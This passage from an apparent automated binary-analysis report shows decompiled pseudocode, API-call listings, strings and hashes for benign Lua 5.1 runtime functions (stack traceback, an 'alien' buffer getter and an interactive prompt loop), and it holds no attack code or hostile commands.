				signed int _t82;
				void* _t83;
				void* _t84;
				void* _t85;
				void* _t86;
				void* _t87;
				void* _t88;
				void* _t90;
				void* _t91;
				void* _t92;

				_t81 =  *((intOrPtr*)(_t84 + 0x74));
				_t79 = 1;
				_t63 = E10011630(__eflags, _t81, _t84 + 0x68);
				_t26 = E10001490(__eflags, __fp0, _t81,  *((intOrPtr*)(_t84 + 0x80)) + 2);
				_t85 = _t84 + 0x10;
				_t94 = _t26;
				if(_t26 == 0) {
					__eflags = _t81 - _t63;
					_t6 = _t81 == _t63;
					__eflags = _t6;
					_t82 = 0 | _t6;
				} else {
					_t82 = E10001670(_t94, __fp0, _t81,  *((intOrPtr*)(_t85 + 0x78)) + 2);
					E10001160(_t81, 0xfffffffe);
					_t85 = _t85 + 0x10;
				}
				_t29 = E10001150(_t81);
				_t66 =  *((intOrPtr*)(_t85 + 0x7c));
				_t86 = _t85 + 4;
				if(_t29 !=  *((intOrPtr*)(_t85 + 0x7c))) {
					_t30 = E100014D0(__eflags, _t81, _t66 + 1);
					_t86 = _t86 + 8;
					__eflags = _t30;
					if(_t30 != 0) {
						_push(1);
						_push("\n");
						goto L7;
					}
				} else {
					_push(0);
					_push(0x1001ab10);
					L7:
					_push(_t81);
					E10001930();
					_t87 = _t86 + 0xc;
					E10001930(_t81, "stack traceback:", 0x10);
					_t83 = _t82 + 1;
					_t35 = E10003F40(_t63, _t82, _t87 + 0x1c);
					_t88 = _t87 + 0x18;
					if(_t35 != 0) {
						do {
							if(_t83 <= 0xc || _t79 == 0) {
								E10001930(_t81, "\n\t", 2);
								E10004130(_t63, "Snl", _t88 + 0x1c);
								E100019F0(_t81, "%s:", _t88 + 0x4c);
								_t43 =  *(_t88 + 0x48);
								_t90 = _t88 + 0x24;
								__eflags = _t43;
								if(_t43 > 0) {
									E100019F0(_t81, "%d:", _t43);
									_t90 = _t90 + 0xc;
								}
								__eflags =  *((char*)( *((intOrPtr*)(_t90 + 0x18))));
								if( *((char*)( *((intOrPtr*)(_t90 + 0x18)))) == 0) {
									_t45 =  *((intOrPtr*)( *((intOrPtr*)(_t90 + 0x1c))));
									__eflags = _t45 - 0x6d;
									if(_t45 != 0x6d) {
										__eflags = _t45 - 0x43;
										if(_t45 == 0x43) {
											L24:
											E10001930(_t81, " ?", 2);
											goto L25;
										} else {
											__eflags = _t45 - 0x74;
											if(_t45 == 0x74) {
												goto L24;
											} else {
												_push( *((intOrPtr*)(_t90 + 0x2c)));
												E100019F0(_t81, " in function <%s:%d>", _t90 + 0x34);
												_t91 = _t90 + 0x10;
											}
										}
									} else {
										_push(" in main chunk");
										_push(_t81);
										E100019F0();
										_t91 = _t90 + 8;
									}
								} else {
									E100019F0(_t81, " in function \'%s\'",  *((intOrPtr*)(_t90 + 0x14)));
									L25:
									_t91 = _t90 + 0xc;
								}
								__eflags = E10001150(_t81) -  *((intOrPtr*)(_t91 + 0x7c));
								E100023C0(_t81, E10001150(_t81) -  *((intOrPtr*)(_t91 + 0x7c)));
								_t92 = _t91 + 0xc;
							} else {
								_t10 = _t83 + 0xa; // 0xa
								_t80 = _t10;
								_t52 = E10003F40(_t63, _t80, _t88 + 0x10);
								_t92 = _t88 + 0xc;
								if(_t52 != 0) {
									E10001930(_t81, "\n\t...", 5);
									_t55 = E10003F40(_t63, _t80, _t92 + 0x1c);
									_t92 = _t92 + 0x18;
									__eflags = _t55;
									if(_t55 != 0) {
										do {
											_t83 = _t83 + 1;
											_t80 = _t80 + 1;
											_t56 = E10003F40(_t63, _t80, _t92 + 0x10);
											_t92 = _t92 + 0xc;
											__eflags = _t56;
										} while (_t56 != 0);
									}
									_t79 = 0;
								} else {
									_t83 = _t83 - 1;
									_t79 = 0;
								}
							}
							_t83 = _t83 + 1;
							_t51 = E10003F40(_t63, _t83, _t92 + 0x10);
							_t88 = _t92 + 0xc;
						} while (_t51 != 0);
					}
					E100023C0(_t81, E10001150(_t81) -  *((intOrPtr*)(_t88 + 0x7c)));
				}
				return 1;
			}

0x10011cfa
0x10011d01
0x10011d12
0x10011d19
0x10011d1e
0x10011d21
0x10011d23
0x10011d44
0x10011d46
0x10011d46
0x10011d49
0x10011d25
0x10011d36
0x10011d38
0x10011d3d
0x10011d3d
0x10011d4c
0x10011d51
0x10011d55
0x10011d5a
0x10011d68
0x10011d6d
0x10011d70
0x10011d72
0x10011d78
0x10011d7a
0x00000000
0x10011d7a
0x10011d5c
0x10011d5c
0x10011d5e
0x10011d7f
0x10011d7f
0x10011d80
0x10011d85
0x10011d90
0x10011d9e
0x10011d9f
0x10011da4
0x10011da9
0x10011daf
0x10011db2
0x10011e1a
0x10011e2a
0x10011e3a
0x10011e3f
0x10011e43
0x10011e46
0x10011e48
0x10011e51
0x10011e56
0x10011e56
0x10011e5d
0x10011e60
0x10011e78
0x10011e7a
0x10011e7c
0x10011e8e
0x10011e90
0x10011eb0
0x10011eb8
0x00000000
0x10011e92
0x10011e92
0x10011e94
0x00000000
0x10011e96
0x10011e9e
0x10011ea6
0x10011eab
0x10011eab
0x10011e94
0x10011e7e
0x10011e7e
0x10011e83
0x10011e84
0x10011e89
0x10011e89
0x10011e62
0x10011e6d
0x10011ebd
0x10011ebd
0x10011ebd
0x10011ec6
0x10011ecc
0x10011ed1
0x10011db8
0x10011dbc
0x10011dbc
0x10011dc2
0x10011dc7
0x10011dcc
0x10011dde
0x10011dea
0x10011def
0x10011df2
0x10011df4
0x10011df6
0x10011df6
0x10011dfb
0x10011dff
0x10011e04
0x10011e07
0x10011e07
0x10011df6
0x10011e0b
0x10011dce
0x10011dce
0x10011dcf
0x10011dcf
0x10011dcc
0x10011edd
0x10011ede
0x10011ee3
0x10011ee6
0x10011daf
0x10011efa
0x10011eff
0x10011f0e

APIs

Part of subcall function 10011630: lua_type.LUA5.1(?,00000001,?,100113D5,?,?), ref: 10011638
Part of subcall function 10011630: lua_tothread.LUA5.1(?,00000001), ref: 10011652

lua_isnumber.LUA5.1(?,?,?,?), ref: 10011D19
lua_tointeger.LUA5.1(?,?), ref: 10011D2E
lua_settop.LUA5.1(?,000000FE,?,?), ref: 10011D38
lua_gettop.LUA5.1(?), ref: 10011D4C
lua_isstring.LUA5.1(?,?), ref: 10011D68

Part of subcall function 100014D0: lua_type.LUA5.1(?,?), ref: 100014DA

lua_pushlstring.LUA5.1(?,10019B78,00000001), ref: 10011D80
lua_pushlstring.LUA5.1(?,stack traceback:,00000010), ref: 10011D90
lua_getstack.LUA5.1(00000000,00000000,?,?,stack traceback:,00000010), ref: 10011D9F
lua_getstack.LUA5.1(00000000,0000000A,?), ref: 10011DC2
lua_pushlstring.LUA5.1(?,...,00000005), ref: 10011DDE

Part of subcall function 10001930: luaS_newlstr.LUA5.1(?,?,?), ref: 1000195A

lua_getstack.LUA5.1(00000000,0000000A,?,?,...,00000005), ref: 10011DEA
lua_getstack.LUA5.1(00000000,0000000B,?), ref: 10011DFF
lua_pushlstring.LUA5.1(?,1001A18C,00000002), ref: 10011E1A
lua_getinfo.LUA5.1(00000000,Snl,?,?,1001A18C,00000002), ref: 10011E2A
lua_pushfstring.LUA5.1(?,%s:,?,00000000,Snl,?,?,1001A18C,00000002), ref: 10011E3A
lua_pushfstring.LUA5.1(?,%d:,?), ref: 10011E51
lua_pushfstring.LUA5.1(?, in function '%s',?), ref: 10011E6D
lua_pushfstring.LUA5.1(?, in main chunk), ref: 10011E84
lua_pushfstring.LUA5.1(?, in function <%s:%d>,?,?), ref: 10011EA6
lua_gettop.LUA5.1(?), ref: 10011EC1
lua_concat.LUA5.1(?,?,?), ref: 10011ECC
lua_getstack.LUA5.1(00000000,00000000,?), ref: 10011EDE
lua_gettop.LUA5.1(?), ref: 10011EEF
lua_concat.LUA5.1(?,?,?), ref: 10011EFA

Strings

in function '%s', xrefs: 10011E67
%s:, xrefs: 10011E34
in function <%s:%d>, xrefs: 10011EA0
in main chunk, xrefs: 10011E7E
..., xrefs: 10011DD8
stack traceback:, xrefs: 10011D8A
%d:, xrefs: 10011E4B
Snl, xrefs: 10011E24

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_getstack.lua_pushfstring.$lua_pushlstring.$lua_gettop.$lua_concat.lua_type.$S_newlstr.lua_getinfo.lua_isnumber.lua_isstring.lua_settop.lua_tointeger.lua_tothread.
String ID: ...$ in function '%s'$ in function <%s:%d>$ in main chunk$%d:$%s:$Snl$stack traceback:
API String ID: 1649200058-3960880903
Opcode ID: 2f01da7c8fe38133d401210fd4cce6ff0922a908cf09679d7e768bbd5650decd
Instruction ID: b9ae0ff462a2422627092352f1d535dbb1980089d9f59c4c48a4b9fa55214fc6
Opcode Fuzzy Hash: 2f01da7c8fe38133d401210fd4cce6ff0922a908cf09679d7e768bbd5650decd
Instruction Fuzzy Hash: E051E6B95046013AF219D6609C42EFF32DDDF822C8F044528FE559A147FB75FA8682B7

Uniqueness

Uniqueness Score: -1.00%

Function 005E3B40, Relevance: 45.7, APIs: 19, Strings: 7, Instructions: 224
COMMON

Download Yara Rule

C-Code - Quality: 55%

			E005E3B40(long long __fp0, intOrPtr _a4) {
				signed int _v8;
				void* __ebx;
				signed short __esi;
				void* _t23;
				signed int _t24;
				signed int _t25;
				signed int _t32;
				void* _t39;
				intOrPtr _t44;
				signed int _t48;
				void* _t51;
				void* _t52;
				void* _t53;
				void* _t57;
				long long _t65;

				_t65 = __fp0;
				_t44 = _a4;
				_t24 = E005E1110(_t23, 1, _t44, "alien_buffer");
				_t32 = _t24;
				_t51 = (_t48 & 0xffffffc0) - 0x34 + 4;
				if(_t32 == 0) {
					_push("alien buffer expected");
					_push(1);
					_push(_t44);
					L005E3F14();
					_t51 = _t51 + 0xc;
				}
				_push(2);
				_push(_t44);
				L005E3F4A();
				_t52 = _t51 + 8;
				if(_t24 != 4) {
					_push(2);
					_push(_t44);
					L005E3FCE();
					_push("hR^");
					_push("char");
					_push(3);
					_push(_t44);
					_t39 = _t24 - 1;
					L005E3F98();
					_t25 =  *(0x5e5510 + _t24 * 4);
					_t53 = _t52 + 0x18;
					if(_t25 > 0x11) {
						L28:
						_push("alien: unknown type in buffer:get");
						_push(_t44);
						L005E3F26();
						goto L29;
					} else {
						switch( *((intOrPtr*)(_t25 * 4 +  &M005E3D84))) {
							case 0:
								_v8 =  *((short*)(_t32 + _t39));
								asm("fild dword [esp+0x44]");
								 *((long long*)(_t53 - 8)) = _t65;
								_push(_t44);
								L005E3F80();
								return 1;
								goto L30;
							case 1:
								_v8 =  *(__ebx + __edi) & 0x0000ffff;
								__esp = __esp - 8;
								asm("fild dword [esp+0x44]");
								 *__esp = __fp0;
								_push(__esi);
								L005E3F80();
								__esp =  &(__esp[6]);
								__eax = 1;
								_pop(__edi);
								_pop(__esi);
								_pop(__ebx);
								return 1;
								goto L30;
							case 2:
								asm("fild dword [ebx+edi]");
								__esp = __esp - 8;
								 *__esp = __fp0;
								_push(__esi);
								L005E3F80();
								__esp =  &(__esp[6]);
								__eax = 1;
								_pop(__edi);
								_pop(__esi);
								_pop(__ebx);
								return 1;
								goto L30;
							case 3:
								__eax =  *(__ebx + __edi);
								__eflags =  *(__ebx + __edi);
								goto L13;
							case 4:
								__eflags =  *(__ebx + __edi);
								L13:
								asm("fild dword [ebx+edi]");
								if(__eflags < 0) {
									__fp0 = __fp0 +  *0x5e5878;
								}
								goto L15;
							case 5:
								goto L28;
							case 6:
								__fp0 =  *(__ebx + __edi);
								goto L15;
							case 7:
								__fp0 =  *(__ebx + __edi);
								goto L15;
							case 8:
								__eax =  *(__ebx + __edi);
								_v8 =  *(__ebx + __edi);
								asm("fild dword [esp+0x3c]");
								goto L15;
							case 9:
								_v8 =  *(__ebx + __edi);
								asm("fild dword [esp+0x3c]");
								L15:
								__esp = __esp - 8;
								 *__esp = __fp0;
								_push(__esi);
								L005E3F80();
								__esp =  &(__esp[6]);
								__eax = 1;
								_pop(__edi);
								_pop(__esi);
								_pop(__ebx);
								return 1;
								goto L30;
							case 0xa:
								__edi =  *(__ebx + __edi);
								__eflags = __edi;
								if(__edi == 0) {
									goto L23;
								} else {
									_push(__edi);
									_push(__esi);
									L005E3EF0();
									__esp =  &(__esp[4]);
									__eax = 1;
									_pop(__edi);
									_pop(__esi);
									_pop(__ebx);
									return 1;
								}
								goto L30;
							case 0xb:
								__edi =  *(__ebx + __edi);
								__eflags = __edi;
								if(__edi == 0) {
									goto L23;
								} else {
									_push(__edi);
									_push(__esi);
									L005E3F7A();
									__esp =  &(__esp[4]);
									__eax = 1;
									_pop(__edi);
									_pop(__esi);
									_pop(__ebx);
									return 1;
								}
								goto L30;
							case 0xc:
								__edi =  *(__ebx + __edi);
								__eflags = __edi;
								if(__edi == 0) {
									L23:
									_push(__esi);
									L005E3F74();
									__esp =  &(__esp[2]);
									__eax = 1;
									_pop(__edi);
									_pop(__esi);
									_pop(__ebx);
									return 1;
								} else {
									__edi = __esi;
									__eax = 1;
									_pop(__edi);
									_pop(__esi);
									_pop(__ebx);
									return 1;
								}
								goto L30;
						}
					}
				} else {
					_push(1);
					_push(_t44);
					L005E3FF8();
					_push(0xffffffff);
					_push(_t44);
					L005E3F4A();
					_t57 = _t52 + 0x10;
					if(_t24 != 0) {
						_push(0);
						_push(2);
						_push(_t44);
						L005E3F5C();
						_push(_t24);
						_push(0xffffffff);
						_push(_t44);
						L005E3F02();
						_t57 = _t57 + 0x18;
					}
					_push(0xffffffff);
					_push(_t44);
					L005E3F4A();
					if(_t24 != 0) {
						L29:
						return 1;
					} else {
						_push(_t24);
						_push("\R^");
						_push("tostring");
						_push(2);
						_push(_t44);
						L005E3F98();
						_push( *((intOrPtr*)(0x5e7048 + _t24 * 4)));
						_push(_t44);
						L005E3FE0();
						return 1;
					}
				}
				L30:
			}

0x005e3b40
0x005e3b4b
0x005e3b59
0x005e3b5e
0x005e3b60
0x005e3b65
0x005e3b67
0x005e3b6c
0x005e3b6e
0x005e3b6f
0x005e3b74
0x005e3b74
0x005e3b77
0x005e3b79
0x005e3b7a
0x005e3b7f
0x005e3b85
0x005e3bfa
0x005e3bfc
0x005e3bfd
0x005e3c02
0x005e3c07
0x005e3c0e
0x005e3c10
0x005e3c11
0x005e3c14
0x005e3c19
0x005e3c20
0x005e3c26
0x005e3d68
0x005e3d68
0x005e3d6d
0x005e3d6e
0x00000000
0x005e3c2c
0x005e3c2c
0x00000000
0x005e3c37
0x005e3c3e
0x005e3c42
0x005e3c45
0x005e3c46
0x005e3c59
0x00000000
0x00000000
0x005e3c7c
0x005e3c80
0x005e3c83
0x005e3c87
0x005e3c8a
0x005e3c8b
0x005e3c90
0x005e3c93
0x005e3c98
0x005e3c99
0x005e3c9a
0x005e3c9e
0x00000000
0x00000000
0x005e3c5a
0x005e3c5d
0x005e3c60
0x005e3c63
0x005e3c64
0x005e3c69
0x005e3c6c
0x005e3c71
0x005e3c72
0x005e3c73
0x005e3c77
0x00000000
0x00000000
0x005e3c9f
0x005e3ca2
0x00000000
0x00000000
0x005e3ccd
0x005e3ca4
0x005e3ca4
0x005e3ca7
0x005e3ca9
0x005e3ca9
0x00000000
0x00000000
0x00000000
0x00000000
0x005e3ced
0x00000000
0x00000000
0x005e3cf2
0x00000000
0x00000000
0x005e3cdf
0x005e3ce3
0x005e3ce7
0x00000000
0x00000000
0x005e3cd5
0x005e3cd9
0x005e3caf
0x005e3caf
0x005e3cb2
0x005e3cb5
0x005e3cb6
0x005e3cbb
0x005e3cbe
0x005e3cc3
0x005e3cc4
0x005e3cc5
0x005e3cc9
0x00000000
0x00000000
0x005e3cf7
0x005e3cfa
0x005e3cfc
0x00000000
0x005e3cfe
0x005e3cfe
0x005e3cff
0x005e3d00
0x005e3d05
0x005e3d08
0x005e3d0d
0x005e3d0e
0x005e3d0f
0x005e3d13
0x005e3d13
0x00000000
0x00000000
0x005e3d4b
0x005e3d4e
0x005e3d50
0x00000000
0x005e3d52
0x005e3d52
0x005e3d53
0x005e3d54
0x005e3d59
0x005e3d5c
0x005e3d61
0x005e3d62
0x005e3d63
0x005e3d67
0x005e3d67
0x00000000
0x00000000
0x005e3d29
0x005e3d2c
0x005e3d2e
0x005e3d14
0x005e3d14
0x005e3d15
0x005e3d1a
0x005e3d1d
0x005e3d22
0x005e3d23
0x005e3d24
0x005e3d28
0x005e3d30
0x005e3d35
0x005e3d3f
0x005e3d44
0x005e3d45
0x005e3d46
0x005e3d4a
0x005e3d4a
0x00000000
0x00000000
0x005e3c2c
0x005e3b87
0x005e3b87
0x005e3b89
0x005e3b8a
0x005e3b8f
0x005e3b91
0x005e3b92
0x005e3b97
0x005e3b9c
0x005e3b9e
0x005e3ba0
0x005e3ba2
0x005e3ba3
0x005e3ba8
0x005e3ba9
0x005e3bab
0x005e3bac
0x005e3bb1
0x005e3bb1
0x005e3bb4
0x005e3bb6
0x005e3bb7
0x005e3bc1
0x005e3d76
0x005e3d81
0x005e3bc7
0x005e3bc7
0x005e3bc8
0x005e3bcd
0x005e3bd2
0x005e3bd4
0x005e3bd5
0x005e3be4
0x005e3be5
0x005e3be6
0x005e3bf9
0x005e3bf9
0x005e3bc1
0x00000000

APIs

Part of subcall function 005E1110: lua_touserdata.LUA5.1(?,00000001,?,005E1390,alien_library), ref: 005E1113
Part of subcall function 005E1110: lua_getmetatable.LUA5.1(?,00000001,alien_library), ref: 005E1123
Part of subcall function 005E1110: lua_getfield.LUA5.1(?,FFFFD8F0,?,?,?,alien_library), ref: 005E113A
Part of subcall function 005E1110: lua_rawequal.LUA5.1(?,000000FF,000000FE,?,FFFFD8F0,?,?,?,alien_library), ref: 005E1144
Part of subcall function 005E1110: lua_settop.LUA5.1(?,000000FD,?,?,?,?,?,?,?,?,alien_library), ref: 005E1153

luaL_argerror.LUA5.1(?,00000001,alien buffer expected), ref: 005E3B6F
lua_type.LUA5.1(?,00000002), ref: 005E3B7A
lua_getfenv.LUA5.1(?,00000001), ref: 005E3B8A
lua_type.LUA5.1(?,000000FF,?,00000001), ref: 005E3B92
lua_tolstring.LUA5.1(?,00000002,00000000), ref: 005E3BA3
lua_getfield.LUA5.1(?,000000FF,00000000,?,00000002,00000000), ref: 005E3BAC
lua_type.LUA5.1(?,000000FF), ref: 005E3BB7
luaL_checkoption.LUA5.1(?,00000002,tostring,\R^,00000000), ref: 005E3BD5
lua_pushcclosure.LUA5.1(?,00000000,?,?,?,00000000), ref: 005E3BE6
luaL_checkinteger.LUA5.1(?,00000002), ref: 005E3BFD
luaL_checkoption.LUA5.1(?,00000003,char,hR^,?,00000002), ref: 005E3C14
lua_pushnumber.LUA5.1(?), ref: 005E3C46
lua_pushnumber.LUA5.1 ref: 005E3C64
lua_pushnumber.LUA5.1 ref: 005E3C8B
lua_pushnumber.LUA5.1 ref: 005E3CB6
lua_pushstring.LUA5.1 ref: 005E3D00
lua_pushnil.LUA5.1 ref: 005E3D15
lua_pushlightuserdata.LUA5.1 ref: 005E3D54
luaL_error.LUA5.1(?,alien: unknown type in buffer:get), ref: 005E3D6E

Strings

alien buffer expected, xrefs: 005E3B67
char, xrefs: 005E3C07
hR^, xrefs: 005E3C02
alien: unknown type in buffer:get, xrefs: 005E3D68
alien_buffer, xrefs: 005E3B4F
\R^, xrefs: 005E3BC8
tostring, xrefs: 005E3BCD

Memory Dump Source

Source File: 00000002.00000002.470086883.00000000005E1000.00000020.00020000.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000002.00000002.470056467.00000000005E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470120189.00000000005E5000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470145709.00000000005E7000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470178146.00000000005E8000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_pushnumber.$lua_type.$L_checkoption.lua_getfield.$L_argerror.L_checkinteger.L_error.lua_getfenv.lua_getmetatable.lua_pushcclosure.lua_pushlightuserdata.lua_pushnil.lua_pushstring.lua_rawequal.lua_settop.lua_tolstring.lua_touserdata.
String ID: \R^$alien buffer expected$alien: unknown type in buffer:get$alien_buffer$char$hR^$tostring
API String ID: 580621190-3062334834
Opcode ID: db93487627e862159f25e4104b294e20dd3f855c8be92e1b90f92f7ec0375e0b
Instruction ID: 4756e1dfd044533b2a3d21e1ccdf939740e0d52f024464a261d26f86f7c64316
Opcode Fuzzy Hash: db93487627e862159f25e4104b294e20dd3f855c8be92e1b90f92f7ec0375e0b
Instruction Fuzzy Hash: C2513C32B0855523D7182A5FBC8ABAD7F64FFC1325F1001B5FD989B282F6668B1542E2

Uniqueness

Uniqueness Score: -1.00%

Function 004015B0, Relevance: 43.9, APIs: 21, Strings: 4, Instructions: 138
stringCOMMON

Download Yara Rule

C-Code - Quality: 28%

			E004015B0(void* __ecx, char* __edx, void* __edi, void* __esi, void* __ebp, void* __eflags) {
				signed int _v4;
				char _v516;
				void* _v520;
				void* __ebx;
				signed int _t18;
				char* _t21;
				char* _t22;
				struct _IO_FILE* _t29;
				signed int _t30;
				intOrPtr* _t31;
				void* _t32;
				char* _t33;
				void* _t36;
				char _t41;
				signed int _t46;
				void* _t47;
				void* _t49;
				char* _t51;
				intOrPtr* _t53;
				signed int _t55;
				signed int _t56;
				void* _t59;
				signed int _t60;
				void* _t61;

				_t44 = __edx;
				_t55 =  &_v520;
				_v4 =  *0x404000 ^ _t55;
				_t36 = __ecx;
				_push(0);
				_push(__ecx);
				L00401F0C();
				_t18 = E00401480(__ecx, __edx, __ebp, 1);
				_t56 = _t55 + 0xc;
				if(_t18 != 0) {
					_push(__ebp);
					_t53 = __imp____iob_func;
					_push(__esi);
					_push(__edi);
					while(1) {
						_push("=stdin");
						_push(1);
						_push(_t36);
						L00401F72();
						_push(_t18);
						_push(0);
						_push(1);
						_push(_t36);
						L00401F36();
						_push(_t18);
						_push(_t36);
						L00401F1E();
						_t46 = _t18;
						_t59 = _t56 + 0x24;
						if(_t46 != 3) {
							break;
						}
						_t21 =  &_v520;
						_push(_t21);
						_push(0xffffffff);
						_push(_t36);
						L00401F36();
						_t22 = strstr(_t21, "\'<eof>\'");
						_t59 = _t59 + 0x14;
						if(_t22 != _v520 + _t21 - 7) {
							break;
						} else {
							_push(0xfffffffe);
							_push(_t36);
							L00401F0C();
							_push("_PROMPT2");
							_push(0xffffd8ee);
							_push(_t36);
							L00401EE2();
							_push(0);
							_push(0xffffffff);
							_push(_t36);
							L00401F36();
							_t51 = _t22;
							_t61 = _t59 + 0x20;
							if(_t51 == 0) {
								_t51 = ">> ";
							}
							L00401F0C();
							fputs(_t51,  *_t53(_t36, 0xfffffffe) + 0x20);
							fflush( *_t53() + 0x20);
							_t29 =  *_t53();
							_t44 =  &_v516;
							_t30 = fgets( &_v516, 0x200, _t29);
							_t60 = _t61 + 0x20;
							if(_t30 == 0) {
								_t19 = _t30 | 0xffffffff;
							} else {
								_t31 =  &_v516;
								_t44 = _t31 + 1;
								do {
									_t41 =  *_t31;
									_t31 = _t31 + 1;
								} while (_t41 != 0);
								_t32 = _t31 - _t44;
								if(_t32 != 0) {
									_t33 = _t60 + _t32 + 0x13;
									if( *((char*)(_t60 + _t32 + 0x13)) == 0xa) {
										 *_t33 = _t41;
									}
								}
								_t18 =  &_v516;
								_push(_t18);
								_push(_t36);
								L00401ED0();
								_push(1);
								_push("\n");
								_push(_t36);
								L00401F12();
								_push(0xfffffffe);
								_push(_t36);
								L00401F06();
								_push(3);
								_push(_t36);
								L00401EFA();
								_t56 = _t60 + 0x24;
								continue;
							}
						}
						L16:
						_pop(_t47);
						_pop(_t49);
						return E00401F90(_t19, _t36, _v4 ^ _t60, _t44, _t47, _t49);
						goto L17;
					}
					_push(1);
					_push(_t36);
					L00401F7E();
					_t60 = _t59 + 8;
					_t19 = _t46;
					goto L16;
				} else {
					return E00401F90(_t18 | 0xffffffff, _t36, _v4 ^ _t56, __edx, __edi, __esi);
				}
				L17:
			}

0x004015b0
0x004015b0
0x004015bd
0x004015c5
0x004015c7
0x004015c9
0x004015ca
0x004015d1
0x004015d6
0x004015db
0x004015f6
0x004015f7
0x004015fd
0x004015fe
0x00401600
0x00401600
0x00401605
0x00401607
0x00401608
0x00401610
0x00401611
0x00401613
0x00401615
0x00401616
0x0040161e
0x0040161f
0x00401620
0x00401625
0x00401627
0x0040162d
0x00000000
0x00000000
0x00401633
0x00401637
0x00401638
0x0040163a
0x0040163b
0x0040164e
0x00401654
0x00401659
0x00000000
0x0040165f
0x0040165f
0x00401661
0x00401662
0x00401667
0x0040166c
0x00401671
0x00401672
0x00401677
0x00401679
0x0040167b
0x0040167c
0x00401681
0x00401683
0x00401688
0x0040168a
0x0040168a
0x00401692
0x0040169e
0x004016aa
0x004016b0
0x004016b3
0x004016bd
0x004016c3
0x004016c8
0x0040172a
0x004016ca
0x004016ca
0x004016ce
0x004016d1
0x004016d1
0x004016d3
0x004016d6
0x004016da
0x004016dc
0x004016e3
0x004016e7
0x004016e9
0x004016e9
0x004016e7
0x004016eb
0x004016ef
0x004016f0
0x004016f1
0x004016f6
0x004016f8
0x004016fd
0x004016fe
0x00401703
0x00401705
0x00401706
0x0040170b
0x0040170d
0x0040170e
0x00401713
0x00000000
0x00401713
0x004016c8
0x0040172d
0x00401734
0x00401735
0x00401745
0x00000000
0x00401745
0x0040171b
0x0040171d
0x0040171e
0x00401723
0x00401726
0x00000000
0x004015dd
0x004015f5
0x004015f5
0x00000000

APIs

lua_settop.LUA5.1(?,00000000), ref: 004015CA

Part of subcall function 00401480: lua_getfield.LUA5.1(?,FFFFD8EE,_PROMPT), ref: 004014B3
Part of subcall function 00401480: lua_tolstring.LUA5.1(?,000000FF,00000000,?,FFFFD8EE,_PROMPT), ref: 004014BD
Part of subcall function 00401480: lua_settop.LUA5.1(?,000000FE), ref: 004014DC
Part of subcall function 00401480: __iob_func.MSVCR80 ref: 004014E7
Part of subcall function 00401480: fputs.MSVCR80 ref: 004014EE
Part of subcall function 00401480: __iob_func.MSVCR80 ref: 004014F4
Part of subcall function 00401480: fflush.MSVCR80 ref: 004014FA
Part of subcall function 00401480: __iob_func.MSVCR80 ref: 00401500
Part of subcall function 00401480: fgets.MSVCR80 ref: 0040150D

lua_objlen.LUA5.1(?,00000001,=stdin), ref: 00401608
lua_tolstring.LUA5.1(?,00000001,00000000,00000000), ref: 00401616
luaL_loadbuffer.LUA5.1(?,00000000,?,?,00000000), ref: 00401620
lua_tolstring.LUA5.1(?,000000FF,?,?,?,?,?,?,?,00000000), ref: 0040163B
strstr.MSVCR80 ref: 0040164E
lua_settop.LUA5.1(?,000000FE,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00401662
lua_getfield.LUA5.1(?,FFFFD8EE,_PROMPT2,?,000000FE), ref: 00401672
lua_tolstring.LUA5.1(?,000000FF,00000000,?,FFFFD8EE,_PROMPT2,?,000000FE), ref: 0040167C
lua_settop.LUA5.1(?,000000FE), ref: 00401692
__iob_func.MSVCR80 ref: 00401697
fputs.MSVCR80 ref: 0040169E
__iob_func.MSVCR80 ref: 004016A4
fflush.MSVCR80 ref: 004016AA
__iob_func.MSVCR80 ref: 004016B0
fgets.MSVCR80 ref: 004016BD
lua_pushstring.LUA5.1(?,?), ref: 004016F1
lua_pushlstring.LUA5.1(?,004033A8,00000001,?,?), ref: 004016FE
lua_insert.LUA5.1(?,000000FE,?,004033A8,00000001,?,?), ref: 00401706
lua_concat.LUA5.1(?,00000003,?,000000FE,?,004033A8,00000001,?,?), ref: 0040170E

Strings

'<eof>', xrefs: 00401644
=stdin, xrefs: 00401600
>> , xrefs: 0040168A, 0040169D
_PROMPT2, xrefs: 00401667

Memory Dump Source

Source File: 00000002.00000002.469050412.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.469008352.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469103768.0000000000403000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469156229.0000000000405000.00000002.00020000.sdmp Download File

Similarity

API ID: __iob_func$lua_settop.lua_tolstring.$fflushfgetsfputslua_getfield.$L_loadbuffer.lua_concat.lua_insert.lua_objlen.lua_pushlstring.lua_pushstring.strstr
String ID: '<eof>'$=stdin$>> $_PROMPT2
API String ID: 3843576080-31817815
Opcode ID: a5aca4812416eb5336edb13f833457da7b205ab0c483a8bfb940774393995cc1
Instruction ID: fdc9eebb29f5bdfe787f637e43b1435b517b5b7b87b5eeef3a97a82aab6878cd
Opcode Fuzzy Hash: a5aca4812416eb5336edb13f833457da7b205ab0c483a8bfb940774393995cc1
Instruction Fuzzy Hash: 914146716043023BD6207B359D87F6F368D4B41329F140B3BF926B62E3EA7D9A04426E

Uniqueness

Uniqueness Score: -1.00%

Function 10013720, Relevance: 42.2, APIs: 14, Strings: 10, Instructions: 200
stringCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E10013720(void* __ecx, void* __eflags, void* __fp0) {
				void* __ebx;
				intOrPtr _t34;
				intOrPtr* _t35;
				intOrPtr* _t36;
				intOrPtr _t39;
				intOrPtr _t45;
				intOrPtr* _t68;
				void* _t69;
				intOrPtr* _t70;
				intOrPtr _t73;
				char _t76;
				intOrPtr _t84;
				intOrPtr _t85;
				intOrPtr _t93;
				intOrPtr* _t95;
				intOrPtr* _t96;
